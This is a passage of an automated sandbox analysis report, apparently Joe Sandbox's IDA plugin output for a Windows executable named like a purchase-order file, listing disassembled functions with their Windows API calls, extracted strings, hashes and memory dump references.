                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __get_daylight__invoke_watson$__gmtime64_s$__getptd_noexit
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1481289235-0
                                                                                                                                                                                                        • Opcode ID: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                                                                                                                                                                                                        • Instruction ID: 11750150b5911b8a2d77b888e51b7102539fbc40f42687a9f62e69b5342e6946
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 8461B372B00B15DBD724AB69DC81AEB73E99F84324F14452FF011D7682EB78DA808B58
                                                                                                                                                                                                        Function 0046FB53 Relevance: 22.7, APIs: 15, Instructions: 176windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • ExtractIconExW.SHELL32(?,?,?,?,00000001), ref: 0046FB61
                                                                                                                                                                                                        • ExtractIconExW.SHELL32(?,000000FF,?,?,00000001), ref: 0046FB7A
                                                                                                                                                                                                        • SendMessageW.USER32 ref: 0046FBAF
                                                                                                                                                                                                        • SendMessageW.USER32 ref: 0046FBE2
                                                                                                                                                                                                        • ImageList_Create.COMCTL32(00000010,00000010,00000021,?,00000001), ref: 0046FC1B
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001003,00000001,00000000), ref: 0046FC3E
                                                                                                                                                                                                        • ImageList_Create.COMCTL32(00000020,00000020,00000021,?,00000001), ref: 0046FC51
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001003,00000000,00000000), ref: 0046FC73
                                                                                                                                                                                                        • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 0046FC97
                                                                                                                                                                                                        • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 0046FCA5
                                                                                                                                                                                                        • SendMessageW.USER32 ref: 0046FD00
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$IconImageList_$CreateExtractReplace
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2632138820-0
                                                                                                                                                                                                        • Opcode ID: 84d296b218fe0245d687438722339ecf4745b7249032fe4bb2113eafbff2dc59
                                                                                                                                                                                                        • Instruction ID: f8b2170a3f6480226351c2682443129a31dd3945ebd2779c8b18a40e734619f9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 84d296b218fe0245d687438722339ecf4745b7249032fe4bb2113eafbff2dc59
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A461BF70208305AFD320DF14DC85F5BB7E4FB89B14F10492EFA85972D1E7B4A8498B66
                                                                                                                                                                                                        Function 00433BAC Relevance: 22.6, APIs: 15, Instructions: 79COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F89), ref: 00433BC7
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F8A), ref: 00433BDE
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F03), ref: 00433BF5
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F8B), ref: 00433C0C
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F01), ref: 00433C23
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F88), ref: 00433C3A
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F86), ref: 00433C51
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F83), ref: 00433C68
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F85), ref: 00433C7F
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F82), ref: 00433C96
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F84), ref: 00433CAD
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F04), ref: 00433CC4
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F02), ref: 00433CDB
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00000000), ref: 00433CEF
                                                                                                                                                                                                        • LoadCursorW.USER32(00000000,00007F00), ref: 00433D06
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CursorLoad
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3238433803-0
                                                                                                                                                                                                        • Opcode ID: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                                                                                                                                                                                                        • Instruction ID: acd63d7325575073817552101614e6badc0a76bef24473f745c9da0ba21645f6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6D310E3058C302FFE7504F50EE0AB1C36A0BB48B47F008C7DF64AA62E0E6F055009B9A
                                                                                                                                                                                                        Function 00460ABB Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 294windowtimeCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetClassNameW.USER32(?,?,00000100), ref: 00460AF5
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00460B00
                                                                                                                                                                                                        • __swprintf.LIBCMT ref: 00460B9E
                                                                                                                                                                                                        • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00460C11
                                                                                                                                                                                                        • GetClassNameW.USER32(?,?,00000400), ref: 00460C8E
                                                                                                                                                                                                        • GetDlgCtrlID.USER32(?), ref: 00460CE6
                                                                                                                                                                                                        • GetWindowRect.USER32(?,?), ref: 00460D21
                                                                                                                                                                                                        • GetParent.USER32(?), ref: 00460D40
                                                                                                                                                                                                        • ScreenToClient.USER32(00000000), ref: 00460D47
                                                                                                                                                                                                        • GetClassNameW.USER32(?,?,00000100), ref: 00460DBE
                                                                                                                                                                                                        • GetWindowTextW.USER32(?,?,00000400), ref: 00460DFB
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_wcslen
                                                                                                                                                                                                        • String ID: %s%u
                                                                                                                                                                                                        • API String ID: 1899580136-679674701
                                                                                                                                                                                                        • Opcode ID: 263ba601bdfcacdbc09c0537f08939095875f2576dae1f9512caffb95b688f0a
                                                                                                                                                                                                        • Instruction ID: ed0b46c26cbb3f928a943cd91895a09858176ee0e89b0f6962e21683ef9d2041
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 263ba601bdfcacdbc09c0537f08939095875f2576dae1f9512caffb95b688f0a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3AA1CD722043019BDB14DF54C884BEB73A8FF84714F04892EFD889B245E778E946CBA6
                                                                                                                                                                                                        Function 0047D5F6 Relevance: 21.2, APIs: 4, Strings: 8, Instructions: 210COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • CoTaskMemFree.OLE32(?), ref: 0047D6D3
                                                                                                                                                                                                          • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                        • StringFromCLSID.OLE32(?,?), ref: 0047D6B5
                                                                                                                                                                                                          • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                                                          • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                                                        • StringFromIID.OLE32(?,?), ref: 0047D7F0
                                                                                                                                                                                                        • CoTaskMemFree.OLE32(?), ref: 0047D80A
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FreeFromStringTask_wcslen$_wcscpy
                                                                                                                                                                                                        • String ID: 0vH$CLSID\$Interface\$ProgID$ToolBoxBitmap32$inprocserver32$localserver32$HH
                                                                                                                                                                                                        • API String ID: 2485709727-934586222
                                                                                                                                                                                                        • Opcode ID: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
                                                                                                                                                                                                        • Instruction ID: 9b1d76abf7044590dd80f2c514dab21f357569e7696d0ed80310904c07b122bf
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 63714BB5614201AFC304EF25C981D5BB3F8BF88704F108A2EF5599B351DB78E905CB6A
                                                                                                                                                                                                        Function 0045DB3E Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 181COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _wcscpy$Folder_memset$BrowseDesktopFromInitializeListMallocPathUninitialize
                                                                                                                                                                                                        • String ID: HH
                                                                                                                                                                                                        • API String ID: 3381189665-2761332787
                                                                                                                                                                                                        • Opcode ID: cbd34bb05af2b60d6becc686f20e38c9c02ad4ea561bbadf99ecd2e28994155d
                                                                                                                                                                                                        • Instruction ID: 9856a5a3be2a6f4b6f15ab218c20ab076772672eb14c4daba281b2e598c2a196
                                                                                                                                                                                                        • Opcode Fuzzy Hash: cbd34bb05af2b60d6becc686f20e38c9c02ad4ea561bbadf99ecd2e28994155d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E1619AB59043009FC320EF65C88499BB7E9BFC8704F048E1EF98987252D775E849CB6A
                                                                                                                                                                                                        Function 00434506 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetDC.USER32(00000000), ref: 00434585
                                                                                                                                                                                                        • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00434590
                                                                                                                                                                                                        • CreateCompatibleDC.GDI32(00000000), ref: 0043459B
                                                                                                                                                                                                        • SelectObject.GDI32(00000000,?), ref: 004345A9
                                                                                                                                                                                                        • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00434618
                                                                                                                                                                                                        • GetDIBits.GDI32(00000000,?,00000000,00000000,00000000,?,00000000), ref: 00434665
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CompatibleCreate$BitmapBitsObjectSelectStretch
                                                                                                                                                                                                        • String ID: (
                                                                                                                                                                                                        • API String ID: 3300687185-3887548279
                                                                                                                                                                                                        • Opcode ID: 440148b18d84eb95ba181de3259d53385060cfec68f9b8a73670629712acb2fa
                                                                                                                                                                                                        • Instruction ID: a007e7ec8c3f390601fcb6226b5fc218b62818acb39bbc9fe8cd9ddeb27b86ed
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 440148b18d84eb95ba181de3259d53385060cfec68f9b8a73670629712acb2fa
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E4514871508345AFD310CF69C884B6BBBE9EF8A310F14881DFA9687390D7B5E844CB66
                                                                                                                                                                                                        Function 0045E41B Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 150COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E463
                                                                                                                                                                                                          • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                        • LoadStringW.USER32(?,00000072,?,00000FFF), ref: 0045E480
                                                                                                                                                                                                        • __swprintf.LIBCMT ref: 0045E4D9
                                                                                                                                                                                                        • _printf.LIBCMT ref: 0045E595
                                                                                                                                                                                                        • _printf.LIBCMT ref: 0045E5B7
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: LoadString_printf$__swprintf_wcslen
                                                                                                                                                                                                        • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR $HH
                                                                                                                                                                                                        • API String ID: 3590180749-2894483878
                                                                                                                                                                                                        • Opcode ID: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
                                                                                                                                                                                                        • Instruction ID: 42a5c2f6345f2e10047da6565a111f96cfad8617a22bea28fc44504b1d19b7ce
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9F51A171518345ABD324EF91CC41DAF77A8AF84754F04093FF94463292EB78EE488B6A
                                                                                                                                                                                                        Function 0046F90E Relevance: 21.1, APIs: 14, Instructions: 147windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetWindowLongW.USER32(?,000000F0), ref: 0046F911
                                                                                                                                                                                                        • LoadImageW.USER32(00000000,?,00000000,00000000,00000000,00002010), ref: 0046F929
                                                                                                                                                                                                        • SendMessageW.USER32(?,000000F7,00000000,00000000), ref: 0046F942
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0046F950
                                                                                                                                                                                                        • DestroyIcon.USER32(?,?,000000F7,00000000,00000000,?,00000000,00000000,00000000,00002010,?,000000F0), ref: 0046F95E
                                                                                                                                                                                                        • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00002010), ref: 0046F9A8
                                                                                                                                                                                                        • SendMessageW.USER32(?,000000F7,00000001,00000000), ref: 0046F9C1
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0046F9CF
                                                                                                                                                                                                        • DestroyIcon.USER32(?,?,000000F7,00000001,00000000,?,00000001,00000000,00000000,00002010), ref: 0046F9DD
                                                                                                                                                                                                        • ExtractIconExW.SHELL32(?,?,?,000000FF,00000001), ref: 0046FA1D
                                                                                                                                                                                                        • DestroyIcon.USER32(?), ref: 0046FA4F
                                                                                                                                                                                                        • SendMessageW.USER32(?,000000F7,00000001,?), ref: 0046FA5A
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0046FA68
                                                                                                                                                                                                        • DestroyIcon.USER32(?,?,000000F7,00000001,?), ref: 0046FA76
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Icon$Destroy$DeleteMessageObjectSend$ImageLoad$ExtractLongWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3412594756-0
                                                                                                                                                                                                        • Opcode ID: f692dd120a8e9e8c350368ee646f6d7ebba10fee5470a76da8eaf9bc85602db5
                                                                                                                                                                                                        • Instruction ID: 2b127e2e725f503062080ad48664a75956f0b49bd2ac624c91da1236fc619d99
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f692dd120a8e9e8c350368ee646f6d7ebba10fee5470a76da8eaf9bc85602db5
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BD41B575344301ABE7209B65ED45B6B7398EB44711F00083EFA85A7381DBB9E809C76A
                                                                                                                                                                                                        Function 0045D971 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 140COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                                                                                                                                                                                          • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                                                                                                                        • GetDriveTypeW.KERNEL32 ref: 0045DA30
                                                                                                                                                                                                        • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DA76
                                                                                                                                                                                                        • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DAAB
                                                                                                                                                                                                        • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DADF
                                                                                                                                                                                                          • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: SendString$_wcslen$BuffCharDriveLowerType
                                                                                                                                                                                                        • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                                                                                                                                                                        • API String ID: 4013263488-4113822522
                                                                                                                                                                                                        • Opcode ID: b9e44105478404289108567262d296c88e7101013f7783f6c7bd148379995db0
                                                                                                                                                                                                        • Instruction ID: 78e8968fe3d68f28a61334a0544e46eb3ade7c09d07056eb4a028b8014bab4f9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b9e44105478404289108567262d296c88e7101013f7783f6c7bd148379995db0
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 86516E71604300ABD710EF55CC85F5EB3E4AF88714F14496EF985AB2D2D7B8E908CB5A
                                                                                                                                                                                                        Function 00435A35 Relevance: 21.1, APIs: 14, Instructions: 136timeCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _wcslen$_wcsncpy$LocalTime__wcstoi64
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 228034949-0
                                                                                                                                                                                                        • Opcode ID: d55b35800c2a6f74fd0df3de6656c0821778ac1c15f087543c4dc83ec7dd6154
                                                                                                                                                                                                        • Instruction ID: c9113392db11e6d0b84b7dcaf0f9983ae7bcdcfbf3325debe08446cd55f13bc3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d55b35800c2a6f74fd0df3de6656c0821778ac1c15f087543c4dc83ec7dd6154
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 874194B181435066DA10FF6AC8479DFB3A8EF89314F84495FF945D3162E378E64883AA
                                                                                                                                                                                                        Function 004334CA Relevance: 21.1, APIs: 14, Instructions: 132filecommemoryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,?,0046FAD5), ref: 004334F4
                                                                                                                                                                                                        • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043350F
                                                                                                                                                                                                        • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043351A
                                                                                                                                                                                                        • GlobalLock.KERNEL32(00000000), ref: 00433523
                                                                                                                                                                                                        • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433533
                                                                                                                                                                                                        • GlobalUnlock.KERNEL32(00000000), ref: 0043353A
                                                                                                                                                                                                        • CloseHandle.KERNEL32(00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433541
